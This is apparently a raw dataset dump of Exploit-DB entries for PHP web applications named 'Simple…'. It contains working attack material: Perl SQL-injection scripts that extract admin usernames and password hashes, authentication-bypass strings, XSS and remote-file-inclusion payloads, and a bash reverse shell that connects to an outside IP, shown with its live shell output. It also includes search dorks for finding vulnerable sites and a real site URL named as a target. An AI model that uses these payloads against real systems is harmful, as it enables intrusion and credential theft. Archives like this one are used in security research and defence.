deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7444
Description: Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-14
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : Simple Text-File Login script 1.0.6
Download       : http://www.hotscripts.com/jump.php?listing_id=36777&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay
Notes          : *

* The name of this login system is Simple Text-File Login script, so we can already 
  understand that this script will use a .txt file to do his job. So it's like if
  the coder didn't think that a login system like this isn't vulnerable. Weird !
  Anyway, it's vulnerable to Remote File Inclusion also, here we are !

#########################################################################################
[0x02] Bug:[Remote File Inclusion]
######

Bugged file is: /[path]/slogin_lib.inc.php

[CODE]
90.  if (!isset ($slogin_path)) {
91.    $slogin_path = "";
92. }
[/CODE]

If $slogin_path is not given, becomes a null variable. Scrolling down the source code,
you can see an include of that variable everywhere.
Just one of the few vulnerable includes:

[CODE] include_once ($slogin_path . "header.inc.php"); [/CODE]

FIX: Just declare $slogin_path. An example of a bugged inclusion in the source is this:

[CODE] include_once ($slogin_path . "header.inc.php"); [/CODE]

The header.inc.php file, such as all the files of this cms, is in the same dir of
slogin_lib.inc.php, so a fix could be just to include the file, without including
a variable, which should be null becouse all the files are in the same dir.

[CODE] include_once ("header.inc.php"); # <-- This is a secure include. [/CODE]


[!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]

########################################################################################
[0x03] Bug:[Sensitive Data Disclosure]
######

* As I already said, this is not a real bug, becouse is the intention of the author
  to use a .txt file as a login storage. But it's weird, it's unsecure ! Maybe he just 
  sees the goodness of people (hehe xD)

In this login system, sensible datas like username and password are stored in a local
text file , so we can get sensitive information just going to this txt file . The name of
this file is set in slogin_lib.inc.php. By default is: slog_users.txt

[!] EXPLOIT: /[path]/slog_users.txt

#########################################################################################

[/END]

# milw0rm.com [2008-12-14]
Exploit-DB #50204
Description: Simple Water Refilling Station Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-08-16
Author: Matt Sorrell

Exploit:
# Exploit Title: Simple Water Refilling Station Management System 1.0 - Authentication Bypass
# Exploit Author: Matt Sorrell
# Date: 2021-08-14
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html
# Version: 1.0
# Tested On: Windows Server 2019 and XAMPP 7.4.22

# The Simple Water Refilling Station Management System 
# is vulnerable to a SQL Injection because it fails to sufficiently sanitize 
# user-supplied data before using it in a SQL query.  Successful exploitation
# of this issue could allow an attacker to bypass the application's
# authentication controls and possibly access other sensitive data.

# Vulnerable Code: Line 21 in water_refilling/classes/Login.php

qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

# Vulnerable Request

POST /water_refilling/classes/Login.php?f=login HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 35
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/water_refilling/admin/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=64v67e3dctju48lon9d8gepct7


username=a&password=a


# Vulnerable Payload
# Parameter: username (POST)

username=a'+OR+1%3D1--+-&password=a
Exploit-DB #2673
Description: Simple Website Software 0.99 - 'common.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-29
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Script: Simple Website Software v0.99 (common.php) Remote File Include

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Found: Cyber-Security

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Version: 3.0

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Code: include_once "$SWSDIR/local_config.php";

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

F.X:

1- open common.php
2- add this code before wrong code

$SWSDIR = getcwd() . '/..';

3- save common.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Exploit: common.php?SWSDIR=evilscripts?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Script Download: http://prdownloads.sourceforge.net/phpsws/phpsws-0.99.tgz?download

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

# milw0rm.com [2006-10-29]
Exploit-DB #13944
Description: SimpleAssets - Authentication Bypass / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-20
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:SimpleAssets Authentication Bypass & XSS Vulnerability 
Vendor url:http://simpleassets.sourceforge.net/
Version:n/a	
Price:n/a
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

SimpleAssets is a web based asset management system to track assets, employees, software licenses, ip addresses and asset sign in and sign out. Supports importing from existing DB's. An online demo is available to try before you download. (PHP/MySQL) Code: PHP 4.0 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*Authentication Bypass found
 
The Provided Script as Sqli Vulnerability in Admin Login page
 
DEMO URL : http://server/simpleassets/index.php?action=login&lastaction=&lastkey=&loginout=2
 
Use the string a' or '1'='1 for Username and Password to gain access.



*XSS Vulnerability

Parameter: '"--><script>alert(0x000872)</script>

Demo URL:-http://server/simpleassets/index.php?action=[xss]
 

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #22339
Description: SimpleBBS 1.0.6 - 'users.php' Insecure File Permissions
Type: webapps
Platform: php
Date: 2003-03-07
Author: flur

Exploit:
source: https://www.securityfocus.com/bid/7045/info

SimpleBBS reportedly creates sensitive files with world-readable permissions. 
As a result anyone who has access to SimpleBBS web resources may access confidential information stored in the SimpleBBS user database.

This vulnerability was reported for SimpleBBS 1.0.6. It is not known if earlier versions are affected by this vulnerability.

http://www.example.com/simplebbs/users/users.php
Exploit-DB #2232
Description: SimpleBlog 2.0 - 'comments.asp' SQL Injection (2)
Type: webapps
Platform: php
Date: 2006-08-20
Author: ASIANEAGLE

Exploit:
#!/usr/bin/perl
#Method found by Chironex Fleckeri 
#Exploit By ASIANEAGLE
#Contact:admin@asianeagle.org
#Original advisory: http://www.milw0rm.com/exploits/2228
#Usage: exploitname.pl <host> <path> <id>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print " *****SimpleBlog 2.0 SQL Injection Exploit***** \r\n";
  print "      *****www.asianeagle.org***** \r\n";
  }
sub usage() 
{
  header();
  print " *Usage: $0 <host> <path> <id>\r\n";
  print " *<host> = Victim's host ex: www.site.com\r\n";
  print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n";
  print " *<id>   = Admin ID ex: 1\r\n";
  exit();
}
sub exploit () 
{
  $simserver = $ARGV[0];
  $simserver =~ s/(http:\/\/)//eg;
  $simhost   = "http://".$simserver;
  $simdir    = $ARGV[1];
  $simport   = "80";
  $simtar    = "comments.asp?id=";
  $simsql    = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];
  $simreq    = $simhost.$simdir.$simtar.$simsql;
 
  header();
  print "- Trying to connect: $simserver\r\n";
  $sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...\n";
  print $sim "GET $simreq HTTP/1.1\n";
  print $sim "Accept: */*\n";
  print $sim "Referer: $simhost\n";
  print $sim "Accept-Language: tr\n";
  print $sim "User-Agent: Mozzilla\n";
  print $sim "Cache-Control: no-cache\n";
  print $sim "Host: $simserver\n";
  print $sim "Connection: close\n\n";
  print "Connected...\r\n";
  while ($answer = <$sim>) {
    if ($answer =~ /class=\"c_content\">(.*?)<\/td><\/tr>/) { 
      if ($1 == $ARGV[2]) {
        print "Seems Vulnerable :)\r\n";
      }
      else { die "- Exploit failed\n"; }     
    }
    if ($answer =~ /class=\"c_content\"><b>(.*)<\/b>/) {
      print "- Username: $1\r\n";
    }
    if ($answer =~ /href=\"mailto:(.*?)\">(.*?)<\/a>/) {
	  print "- Password: $1\r\n";
    }  
  }
  
 
 
}

# milw0rm.com [2006-08-20]
Exploit-DB #7232
Description: SimpleBlog 3.0 - Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-25
Author: EL_MuHaMMeD

Exploit:
[횂쨩] SimpleBlog 3.0 Mdb Vulnerability
[횂쨩]
[횂쨩] ----------------------------------------------------------
[횂쨩] Author : EL_MuHaMMeD
[횂쨩]
[횂쨩] Date : 26.11.2008
[횂쨩]
[횂쨩] Contact : cwelmuhammed@gmail.com
[횂쨩]
[횂쨩] -----------------------------------------------------------


Script : SimpleBlog 3.0

Download : http://www.8pixel.net/FetchFile.aspx?doc=simpleblog3.rar

Dork : "inurl:simpleblog3"

Our mdb path : db/simpleBlog.mdb

Exploits :

Step 1 - http://www.[target].com/[path]/simpleblog3/db/simpleBlog.mdb

Step 2 - Download that mdb file and read admin name & pass from "users" table.

Step 3 - http://www.[target].com/[path]/simpleblog3/admin/default.asp

Example :

http://www.bvrg.org.uk/simpleblog3/db/simpleBlog.mdb

http://www.bvrg.org.uk/simpleblog3/admin/default.asp

 

[횂쨩] ----------------------------------------------------------------------
[횂쨩]
[횂쨩] Cyber-Security.ORG - ELMuHaMMeD.COM
[횂쨩]
[횂쨩] ----------------------------------------------------------------------

# milw0rm.com [2008-11-25]
Exploit-DB #30811
Description: SimpleGallery 0.1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-26
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/26585/info

SimpleGallery is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects SimpleGallery 0.1.3; other versions may also be vulnerable. 

http://www.example.com/PATH/index.php?album=[XSS]
Exploit-DB #38115
Description: SimpleInvoices invoices Module - Customer Field Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-10
Author: tommccredie

Exploit:
source: https://www.securityfocus.com/bid/56882/info

Simple Invoices is prone to multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

[http://]www.example.com/simpleinvoices/index.php?module=invoices&view=manage&having=%3C/script%3E%3Cscript%3Ealert%28%27POC%20XSS%27%29;%3C/script%3E%3Cscript%3E
Exploit-DB #9336
Description: SimpleLoginSys 0.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-03
Author: SirGod

Exploit:
####################################################################################
[+] SimpleLoginSys v0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplesiteadmin/files/simpleloginsys/SimpleLoginSys%20v0.5/simpleloginsys0.5.zip/download

####################################################################################

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

    Username : [REAL_NICKNAME] ' or ' 1=1
    [CREDENTIAL_REDACTED]

####################################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #51057
Description: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2023-03-25
Author: Sarang Tumne

Exploit:
# Exploit Title: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution 
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 7th March 2022
# CVE ID: CVE-2022-26982
# Confirmed on release 2.1.1
# Vendor: https://download.simplemachines.org/
# Note- Once we insert the vulnerable php code, we can even execute it without any valid login as it is not required! We can use it as a backdoor!

###############################################
#Step1- Login with Admin Credentials
#Step2- Goto Admin=>Main=>Administration Center=>Configuration=>Themes and Layout=>Modify Themes=>Browse the templates and files in this theme.=>Admin.template.php
#Step3- Now add the vulnerable php reverse tcp web shell exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4477 0>&1'"); ?>
#Step4- Now Goto Add Media=>Add Resource=> Upload php web shell and click on SAVE CHANGES at the bottom of the page
#Step5- Now click on "Themes and Layout" and you will get the reverse shell:
E.g: Visit http://IP_ADDR/index.php?action=admin;area=theme;b4c2510f=bc6cde24d794569356b81afc98ede2c2 and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 41276
bash: cannot set terminal process group (1334): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/simplemachinesforum$ whoami
whoami
daemon
daemon@debian:/opt/bitnami/simplemachinesforum$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@debian:/opt/bitnami/simplemachinesforum$
Exploit-DB #3886
Description: SimpleNews 1.0.0 FINAL - 'print.php?news_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-09
Author: Silentz

Exploit:
#!/usr/bin/perl -w

#################################################################################
#										#
#		  SimpleNews <= 1.0.0 FINAL SQL Injection Exploit		#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (print.php): 							#
#										#
#      $news_id = $_GET['news_id'];						#
#      $query = "SELECT * FROM simplenews_articles WHERE news_id = '$news_id'"; #
#										#		
# PoC: http://victim.com/print.php?news_id=-999' UNION SELECT 0,username,	#
#      password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /*		#
# 										#
# Subject To: magic_quotes_gpc set to off					#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						# 
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "               SimpleNews <= 1.0.0 FINAL SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_simplenews.pl [PATH]\r\n\r\n";
print "[PATH] = Path where SimpleNews is located\r\n\r\n";
print "e.g. w4ck1ng_simplenews.pl http://victim.com/simplenews/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "print.php?news_id=-999' UNION SELECT 0,username,password,0,0,0,0,0 FROM simplenews_users WHERE user_id=1 /*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /([0-9a-fA-F]{32})/;

print "-------------------------------------------------------------------------\r\n";
print "               SimpleNews <= 1.0.0 FINAL SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User = ".$res->title, "\r\n";
print "[+] Admin Hash = $1\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";

else {print "\nExploit Failed...\n";}

# milw0rm.com [2007-05-09]
Exploit-DB #31929
Description: SimpleNotes - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-16
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/29755/info

SimpleNotes is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/path/snoteindex.php?RootID=[XSS]
http://www.example.com/path/snoteindex.php?RootID=></a></td><script>alert(123)</script>
http://www.example.com/path/snoteindex.php?RootID=1&SnoteID=[XSS]
http://www.example.com/path/snoteindex.php?RootID=1&SnoteID=></a></td><script>alert(123)</script>
http://www.example.com/path/snoteindex.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=[XSS]
http://www.example.com/path/snoteindex.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=></a></td><script>alert(123)</script>
http://www.example.com/path/snoteindex.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=100&MoveWhat=[XSS]
http://www.example.com/path/snoteindex.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=100&MoveWhat=></a></td><script>alert(123)</script>
http://www.example.com/path/snoteform.php?RootID=[XSS]
http://www.example.com/path/snoteform.php?RootID="></a></td><script>alert(123)</script>
http://www.example.com/path/snoteform.php?RootID=1&SnoteID=[XSS]
http://www.example.com/path/snoteform.php?RootID=1&SnoteID="></a></td><script>alert(123)</script>
http://www.example.com/path/snoteform.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=[XSS]
http://www.example.com/path/snoteform.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel="></a></td><script>alert(123)</script>
http://www.example.com/path/snoteform.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=100&MoveWhat=[XSS]
http://www.example.com/path/snoteform.php?RootID=1&SnoteID=1&mode=list&action=selectedit&MaxLevel=100&MoveWhat="></a></td><script>alert(123)</script>
Exploit-DB #48424
Description: SimplePHPGal 0.7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2020-05-05
Author: h4shur

Exploit:
# Title: SimplePHPGal 0.7 - Remote File Inclusion 
# Author: h4shur
# date:2020-05-05
# Vendor Homepage: https://johncaruso.ca
# Software Link: https://johncaruso.ca/phpGallery/
# Software Link: https://sourceforge.net/projects/simplephpgal/
# Tested on: Windows 10 & Google Chrome
# Category : Web Application Bugs
# Dork : intext:"Created with Simple PHP Photo Gallery"
         intext:"Created by John Caruso"


### Note:

* Another web application bug is the RFI bug, which can be very dangerous
And stands for Remote File Inclusion, which directly executes loose scripts on the server
Also, this security hole is created by programmer errors
And you must be fluent in programming language to secure and prevent this bug
And you have to control the inputs of the application and use powerful firewalls

* This bug is one of the most dangerous bugs and the access that the intruder can gain using this bug is the implementation of Shell script
In fact, by running Shell script, it will have relatively complete access to the Target site server
If we want to explain it in text, the hacker will execute the shell by giving a link from Shell script in txt format to the input of the vulnerable site.

* what's the solution ?
Check the file entered by the user from a list and enter it if the file was in the list. Example :
<?php
$files=array('test.gif');
if(in_array($_GET['file'], $files)){
include ($_GET['file']);
}
?>
* If you are a server administrator, turn off allow_url_fopen from the file.

* Or do it with the ini_set command. Only for (RFI)
<?php
ini_set('allow_url_fopen ', 'Off');
?>

* We can use the strpos command to check that if the address is: // http, the file will not be enclosed (it can only block RFI)
<?php
$strpos = strpos($_GET['url'],'http://');
if(!$strpos){
include($_GET['url']);
}
?>

* Using str_replace we can give the given address from two characters "/", "." Let's clean up.
<?php
$url=$_GET['url'];
$url = str_replace("/", "", $url);
$url = str_replace(".", "", $url);
include($url);
?>


### Poc  :  

[+]   site.com/image.php?img= [ PAYLOAD ]